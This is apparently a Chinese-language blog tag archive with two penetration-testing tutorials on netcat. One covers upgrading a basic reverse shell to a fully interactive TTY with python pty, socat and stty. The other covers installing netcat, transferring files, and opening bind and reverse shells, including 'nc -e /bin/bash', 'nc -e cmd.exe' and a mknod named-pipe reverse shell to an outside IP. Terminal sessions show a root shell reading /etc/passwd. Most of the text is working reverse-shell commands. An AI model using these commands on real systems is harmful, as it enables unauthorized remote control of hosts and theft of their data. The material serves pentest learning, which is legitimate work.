标签归档:nc

将简单的Shell升级为交互式

1)Python pty模块
对于已经安装了python的系统,我们可以使用python提供的pty模块命令如下:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
测试如下:

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42425
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

不过还是无法使用向上使用历史命令、Ctrl+C、Tab补全。

2)使用socat
监听命令:

socat file:`tty`,raw,echo=0 tcp-listen:4444

反弹命令:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.192.144:4444

测试如下:

[root@server144 src]# socat file:`tty`,raw,echo=0 tcp-listen:4444 
[root@server120 src]# whoami
root
[root@server120 src]# sleep 5
^C
[root@server120 src]#

支持向上使用历史命令、Ctrl+C、Tab补全。

3)使用stty选项
刚才测试发现第一种方法不支持向上使用历史命令、Ctrl+C、Tab补全,可使用stty选项升级。
首先和第一种方法一样

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42450
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# ^Z
[1]+ Stopped ./netcat -vv -l -p 2345
[root@server144 src]# echo $TERM
xterm
[root@server144 src]# stty -a
speed 38400 baud; rows 31; columns 104; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -cdtrdsr
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel
-iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

所需的信息是TERM类型(”xterm”)和当前TTY的大小(31行;104列)

[root@server144 src]# stty raw -echo

输入fg并执行(这里看不到输入,使用raw stty,可能看不到下一个命令,但是当你键入时,它们则会被执行。)

$ reset
$ export SHELL=bash
$ export TERM=xterm
$ stty rows 31 columns 104

然后就能支持向上使用历史命令、Ctrl+C、Tab补全。

参考文章:
http://www.freebuf.com/news/142195.html

渗透测试中nc的使用

nc的安装

1.利用wget从sourceforge下载一个nc
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
2.解压
tar zxvf netcat-0.7.1.tar.gz
3.编译前配置
cd netcat-0.7.1
./configure
4.编译
make
5.运行
安装完成后进入src目录
./netcat -h

nc传输文件

在接收机器上执行
[vincent@iZ62luqzx5xZ src]$ ./netcat -v -l -p 2345 > /tmp/user.txt
在发送机器上执行
root@kali-vincent:/tmp# nc -v 49.213.15.229 2345 < user.txt

nc反弹shell

正向连接:
在远程机器上执行:
nc -l -p 8888 -t -e cmd.exe
在本地机器上执行:
nc -nvv 172.16.100.111 8888
成功之后,本地机器就获得一个远程机器的shell。

反向连接:
首先在本地使用nc开启端口监听
nc -vv -l -p 8081
然后在远端:
nc -vv 192.168.192.201 8081 -e /bin/bash
本地即可获取到shell

在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个
GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制
在Attack这边依然用nc -lnvp listenport监听某端口,在目标环境中依次执行以下命令:
root@kali-vincent:~# mknod /tmp/backpipe p
root@kali-vincent:~# /bin/sh 0</tmp/backpipe | nc 49.213.15.229 2345 1>/tmp/backpipe
第一条命令使用mknod在tmp目录下创建一个管道backpipe,第二条命令首先将默认shell环境的输入
重定向给刚才创建的管道,然后将输出通过nc attackerip
listenport重定向到攻击者一端,最后将shell的执行结果再重定向到管道中。